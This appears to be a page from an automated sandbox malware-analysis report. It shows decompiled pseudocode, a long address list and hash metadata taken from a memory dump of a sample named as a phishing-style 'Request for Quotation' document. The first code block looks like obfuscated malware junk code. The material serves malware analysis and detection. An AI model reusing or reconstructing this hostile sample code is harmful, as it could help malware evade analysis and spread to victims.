																																							 *0x3879f6f3 =  *0x3879f6f3 | __ebp;
																																							__al = __al + 0x24;
																																							if(__al < 0) {
																																								goto L1;
																																							} else {
																																								__edx =  *0x535fe78;
																																								__bl = __bl |  *0x8a776412;
																																								 *0xba34a9a8 =  *0xba34a9a8 | __bh;
																																								if((__ebp & 0x1c969b1f) <= 0) {
																																									goto L1;
																																								} else {
																																									asm("adc esi, [0x42a97c76]");
																																									__ecx = __ecx |  *0x145645b9;
																																									__eax = __eax -  *0x6523fbf4;
																																									_push(__esi);
																																									__ecx = __ecx +  *0xf32d896e;
																																									 *0xecae1783 =  *0xecae1783 >> 0xd;
																																									if(__dl >= 0) {
																																										goto L1;
																																									} else {
																																										asm("rcr dword [0x3d528271], 0x49");
																																										__esp = __esp |  *0xadccb195;
																																										__ecx = __ecx ^ 0x15e15ec1;
																																										_push(__ebp);
																																										if(__ecx < 0) {
																																											goto L1;
																																										} else {
																																											__ebx =  *0x3546b77c * 0xfdbe;
																																											_pop( *0xe9b5e39e);
																																											__ebp = __ebp |  *0xce1e0cc4;
																																											if(__ecx == 0xea82b161) {
																																												goto L1;
																																												do {
																																													do {
																																														do {
																																															do {
																																																goto L1;
																																															} while (_t77 >= 0);
																																															_t75 = _t75 + 0x32d3ab73;
																																															_t87 = _t87 &  *0x9d9e313d;
																																															_pop(_t72);
																																															_push(_t87);
																																															asm("sbb bl, 0xb0");
																																															asm("cmpsw");
																																															asm("sbb [0x49065686], ch");
																																														} while ( *0x13463060 * 0x67f7 >= 0);
																																														_t87 =  *0x8f49547d * 0x626b;
																																														asm("adc dl, 0x32");
																																														_t75 = _t75 - 0x69102167;
																																														asm("rcl byte [0x6e221bb0], 0x5b");
																																														asm("scasb");
																																														asm("adc ebx, 0x9595ef64");
																																														_t74 = (_t72 ^  *0xf81cb101) -  *0xdd0a96f7;
																																														 *0x4cdea929 =  *0x4cdea929 - _t74;
																																														asm("rcr dword [0x20f414d5], 0xe0");
																																													} while ( *0x4cdea929 < 0);
																																													asm("cmpsb");
																																													asm("rcl dword [0xafed51d], 0xbc");
																																													asm("adc ebx, [0x3e0aef6f]");
																																												} while (_t77 < 0x2a);
																																												return _t74;
																																											} else {
																																												 *0x45a03e74 = __ebx;
																																												__esp = __esp ^  *0xaa06d761;
																																												__ch = 0xb5 +  *0xe1356ef9;
																																												__al = __al | 0x000000ab;
																																												return __eax;
																																											}
																																										}
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																}
																															}
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0041bc98
0x0041bc98
0x0041bc98
0x0041bc9d
0x0041bca3
0x0041bcad
0x0041bcb3
0x0041bcb9
0x0041b896
0x0041b896
0x0041b8a8
0x0041b8ae
0x0041b8ba
0x0041bcbf
0x0041bcbf
0x0041bcc9
0x0041bcca
0x0041bcd7
0x0041bcdd
0x0041bce3
0x0041bcef
0x0041bcf5
0x0041bcfb
0x0041bcfb
0x0041bcfb
0x0041bd01
0x0041bd07
0x0041bd0e
0x0041bd14
0x0041bd15
0x0041bd1b
0x0041bd25
0x0041bd2b
0x00000000
0x0041bd31
0x0041bd31
0x0041bd37
0x0041bd38
0x0041bd3e
0x0041bd44
0x0041bd45
0x0041bd46
0x0041bd4c
0x00000000
0x0041bd52
0x0041bd52
0x0041bd5c
0x0041bd62
0x0041bd68
0x0041bd69
0x00000000
0x0041bd6f
0x0041bd6f
0x0041bd75
0x0041bd7b
0x0041bd7c
0x0041bd7d
0x0041bd84
0x0041bd8a
0x0041bd90
0x0041bd96
0x0041bd97
0x0041bd9d
0x00000000
0x0041bda3
0x0041bda3
0x0041bdaa
0x0041bdb0
0x0041bdb0
0x0041bdb0
0x0041bdb6
0x0041bdc0
0x00000000
0x0041bdc6
0x0041bdc6
0x0041bdcc
0x0041bdd8
0x0041bde2
0x0041bde9
0x0041bdf0
0x0041bdf6
0x0041bdfd
0x0041be03
0x0041be09
0x0041be12
0x0041be18
0x0041be1b
0x0041be21
0x0041be27
0x0041be28
0x0041be35
0x00000000
0x0041be3b
0x0041be3b
0x0041be45
0x0041be51
0x0041be54
0x0041be5a
0x0041be60
0x0041be66
0x0041be6c
0x0041be73
0x00000000
0x0041be79
0x0041be79
0x0041be83
0x0041be89
0x0041be8f
0x0041be90
0x0041be96
0x0041be9c
0x0041bea2
0x0041bea3
0x0041beaf
0x0041beaf
0x0041beaf
0x0041bec1
0x0041bec7
0x0041bece
0x0041bed4
0x00000000
0x0041beda
0x0041beda
0x0041bee4
0x0041bee5
0x0041beeb
0x0041beed
0x0041bef3
0x0041befa
0x0041befd
0x0041bf02
0x0041bf0d
0x0041bf1d
0x0041bf24
0x0041bf2b
0x00000000
0x0041bf31
0x0041bf31
0x0041bf37
0x0041bf3d
0x0041bf43
0x0041bf4a
0x00000000
0x0041bf50
0x0041bf50
0x0041bf56
0x0041bf5f
0x0041bf65
0x0041bf6b
0x0041bf6b
0x0041bf6b
0x0041bf71
0x0041bf74
0x0041bf79
0x0041bf7f
0x0041bf8b
0x0041bf91
0x0041bf97
0x0041bf99
0x00000000
0x0041bf9f
0x0041bf9f
0x0041bfa5
0x0041bfa6
0x00000000
0x0041bfac
0x0041bfac
0x0041bfb2
0x0041bfb8
0x0041bfb9
0x0041bfbf
0x0041bfc5
0x0041bfc6
0x0041bfcc
0x0041bfd2
0x0041bfd8
0x0041bfdb
0x0041bfe1
0x0041bfe7
0x0041bfe8
0x0041bfef
0x0041bff5
0x0041bffb
0x0041c001
0x00000000
0x0041c013
0x0041c013
0x0041c019
0x0041c01f
0x0041c024
0x0041c027
0x0041c02e
0x0041c034
0x0041c03b
0x0041c04d
0x0041c053
0x0041c053
0x0041c053
0x0041c059
0x0041c05f
0x0041c065
0x0041c066
0x0041c06d
0x0041c06e
0x0041c071
0x0041c072
0x0041c078
0x0041c07f
0x0041c085
0x0041c086
0x0041c08c
0x0041c08d
0x00000000
0x0041c093
0x0041c093
0x0041c09d
0x0041c0a2
0x0041c0a9
0x0041c0b5
0x0041c0b6
0x0041c0bd
0x0041c0c4
0x0041c0c5
0x0041c0d7
0x0041c0e0
0x0041c0e0
0x0041c0e6
0x0041c0e7
0x0041c0ed
0x0041c0f3
0x0041c0f3
0x0041c0f3
0x0041c0f9
0x0041c0fa
0x0041c101
0x0041c108
0x0041c109
0x0041c10b
0x0041c111
0x0041c112
0x0041c118
0x0041c11f
0x0041c125
0x0041c12b
0x0041c131
0x0041c137
0x0041c13c
0x0041c146
0x00000000
0x0041c14c
0x0041c14c
0x0041c152
0x0041c158
0x0041c159
0x0041c15f
0x0041c166
0x0041c16c
0x0041c16d
0x0041c173
0x0041c17a
0x00000000
0x0041c180
0x0041c180
0x0041c186
0x0041c18c
0x0041c199
0x0041c19f
0x00000000
0x0041c1a5
0x0041c1ab
0x0041c1b1
0x0041c1b7
0x0041c1b7
0x0041c1b7
0x0041c1bd
0x0041c1c3
0x0041c1ca
0x0041c1d0
0x0041c1d6
0x0041c1dd
0x0041c1e3
0x0041c1e4
0x0041c1eb
0x0041c1f1
0x0041c1fe
0x0041c205
0x0041c206
0x0041c207
0x0041c20d
0x0041c214
0x0041c21a
0x0041c220
0x0041c227
0x0041c228
0x0041c22e
0x0041c231
0x0041c237
0x0041c23e
0x0041c245
0x0041c24c
0x0041c24f
0x0041c250
0x0041c256
0x0041c25c
0x0041c262
0x0041c263
0x0041c269
0x0041c26f
0x0041c270
0x0041c276
0x0041c27c
0x0041c27e
0x0041c284
0x0041c285
0x00000000
0x0041c28b
0x0041c28b
0x0041c295
0x0041c29b
0x0041c2a1
0x0041c2a2
0x0041c2a9
0x0041c2b0
0x0041c2b6
0x0041c2bc
0x0041c2c6
0x0041c2c7
0x0041c2d2
0x0041c2d8
0x0041c2de
0x0041c2e1
0x0041c2e7
0x00000000
0x0041c2ed
0x0041c2ed
0x0041c2f4
0x0041c2fa
0x0041c301
0x0041c30b
0x0041c318
0x00000000
0x0041c31e
0x0041c31e
0x0041c324
0x0041c32a
0x0041c32f
0x0041c335
0x0041c341
0x0041c347
0x0041c34d
0x00000000
0x0041c353
0x0041c353
0x0041c359
0x0041c360
0x0041c367
0x0041c36d
0x0041c373
0x0041c37a
0x0041c380
0x0041c381
0x0041c386
0x00000000
0x0041c38c
0x0041c38c
0x0041c396
0x0041c3a2
0x0041c3a8
0x0041c3a8
0x0041c3a8
0x0041c3ae
0x0041c3b4
0x0041c3ba
0x0041c3bb
0x0041c3bc
0x0041c3c6
0x0041c3cd
0x0041c3ce
0x0041c3d6
0x0041c3dc
0x0041c3e1
0x0041c3e8
0x0041c3f3
0x0041c400
0x0041c401
0x0041c402
0x0041c408
0x0041c40f
0x0041c418
0x0041c41b
0x0041c421
0x0041c427
0x0041c42d
0x0041c438
0x0041c439
0x00000000
0x0041c43f
0x0041c43f
0x0041c449
0x0041c44f
0x0041c455
0x0041c45b
0x0041c461
0x0041c46d
0x0041c474
0x0041c475
0x0041c47b
0x0041c481
0x0041c486
0x0041c487
0x0041c48e
0x00000000
0x0041c494
0x0041c494
0x0041c49e
0x0041c4a4
0x00000000
0x0041c4aa
0x0041c4aa
0x0041c4b4
0x0041c4be
0x00000000
0x0041c4c4
0x0041c4c4
0x0041c4cb
0x0041c4cc
0x0041c4cd
0x0041c4dc
0x0041c4e1
0x0041c4e4
0x0041c4ea
0x0041c4f6
0x0041c501
0x0041c508
0x0041c50e
0x0041c513
0x0041c51a
0x0041c520
0x00000000
0x0041c526
0x0041c526
0x0041c536
0x0041c53c
0x0041c53f
0x0041c545
0x0041c54c
0x0041c552
0x0041c559
0x0041c55f
0x0041c565
0x0041c566
0x0041c56d
0x0041c579
0x0041c57f
0x0041c585
0x0041c58b
0x0041c591
0x0041c597
0x0041c59d
0x0041c59d
0x0041c59d
0x0041c5b5
0x0041c5bb
0x0041c5bc
0x0041c5c3
0x0041c5c9
0x0041c5cf
0x0041c5d5
0x0041c5db
0x0041c5e2
0x0041c5e8
0x0041c5e9
0x0041c5ea
0x0041c5f1
0x0041c5f7
0x0041c5fd
0x0041c609
0x0041c60f
0x0041c610
0x0041c616
0x0041c61c
0x0041c627
0x00000000
0x0041c62d
0x0041c62d
0x0041c637
0x0041c63d
0x0041c643
0x0041c649
0x0041c64e
0x0041c64f
0x0041c650
0x0041c657
0x0041c65d
0x0041c664
0x0041c666
0x0041c66c
0x0041c66c
0x0041c672
0x0041c678
0x0041c67a
0x0041c681
0x0041c682
0x00000000
0x0041c688
0x0041c688
0x0041c692
0x0041c692
0x0041c692
0x0041c698
0x0041c69e
0x0041c6ab
0x0041c6b0
0x0041c6b6
0x0041c6bc
0x0041c6be
0x0041c6c4
0x0041c6c5
0x0041c6cb
0x0041c6d1
0x0041c6d3
0x0041c6d9
0x0041c6df
0x00000000
0x0041c6e5
0x0041c6e5
0x0041c6ef
0x0041c6f0
0x0041c6fc
0x0041c6fd
0x0041c700
0x0041c706
0x0041c70d
0x0041c70e
0x0041c71a
0x00000000
0x0041c720
0x0041c720
0x0041c72a
0x0041c730
0x0041c730
0x0041c736
0x0041c73d
0x0041c743
0x0041c749
0x0041c74a
0x0041c750
0x0041c751
0x0041c757
0x00000000
0x0041c75d
0x0041c75d
0x0041c767
0x0041c76d
0x0041c774
0x0041c77b
0x0041c77b
0x0041c77b
0x0041c787
0x0041c78d
0x0041c792
0x0041c798
0x00000000
0x0041c79e
0x0041c79e
0x0041c7a8
0x0041c7b1
0x0041c7b7
0x0041c7bd
0x00000000
0x0041c7c3
0x0041c7c3
0x0041c7cd
0x0041c7cd
0x0041c7cd
0x0041c7d3
0x0041c7d4
0x0041c7d5
0x0041c7db
0x0041c7e8
0x0041c7ee
0x0041c7f5
0x0041c7fb
0x0041c7fc
0x0041c805
0x0041c80b
0x0041c811
0x0041c818
0x0041c81e
0x0041c820
0x00000000
0x0041c826
0x0041c826
0x0041c82c
0x0041c832
0x0041c83e
0x00000000
0x0041c844
0x0041c844
0x0041c84a
0x0041c850
0x0041c856
0x0041c857
0x0041c85d
0x0041c867
0x00000000
0x0041c86d
0x0041c86d
0x0041c87a
0x0041c886
0x0041c88c
0x0041c88d
0x00000000
0x0041c893
0x0041c893
0x0041c89d
0x0041c8a3
0x0041c8af
0x00000000
0x0041b896
0x0041b896
0x0041b896
0x0041b896
0x00000000
0x00000000
0x0041b8c2
0x0041b8d4
0x0041b8da
0x0041b8ed
0x0041b8ee
0x0041b8f5
0x0041b902
0x0041b908
0x0041b90f
0x0041b919
0x0041b91c
0x0041b922
0x0041b929
0x0041b930
0x0041b936
0x0041b93c
0x0041b942
0x0041b942
0x0041b959
0x0041b95a
0x0041b967
0x0041b96d
0x0041b98b
0x0041c8b5
0x0041c8b5
0x0041c8bb
0x0041c8c1
0x0041c8c7
0x0041c8c9
0x0041c8c9
0x0041c8af
0x0041c88d
0x0041c867
0x0041c83e
0x0041c820
0x0041c7bd
0x0041c798
0x0041c757
0x0041c71a
0x0041c6df
0x0041c682
0x0041c627
0x0041c520
0x0041c4be
0x0041c4a4
0x0041c48e
0x0041c439
0x0041c386
0x0041c34d
0x0041c318
0x0041c2e7
0x0041c285
0x0041c19f
0x0041c17a
0x0041c146
0x0041c08d
0x0041c001
0x0041bfa6
0x0041bf99
0x0041bf4a
0x0041bf2b
0x0041bed4
0x0041be73
0x0041be35
0x0041bdc0
0x0041bd9d
0x0041bd69
0x0041bd4c
0x0041bd2b

Memory Dump Source

Source File: 0000000A.00000002.315010820.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea26bdb7aa3a4e65acb53d7c6b6eff893ffeeb32170c2389ec0b2f21683d271
Instruction ID: a7d27aeecd01fcaf944c1fcafa4601aadccc53165c52b20b987eaa4a8495bb02
Opcode Fuzzy Hash: 9ea26bdb7aa3a4e65acb53d7c6b6eff893ffeeb32170c2389ec0b2f21683d271
Instruction Fuzzy Hash: 0C629632908391CFEB19DF38D98AB813FB5F396724B08424ED4A1975E1D7382166DF89

Uniqueness

Uniqueness Score: -1.00%

Function 00AE5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00AE5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0xaf1178);
				E00A6D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E00AE4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E00A5D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E00AE5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0xb060e8;
								if( *0xb060e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0xb060e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = L00A59710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E00A56DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E00A5F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E00A5F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E00A5F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E00A5FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E00A5FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
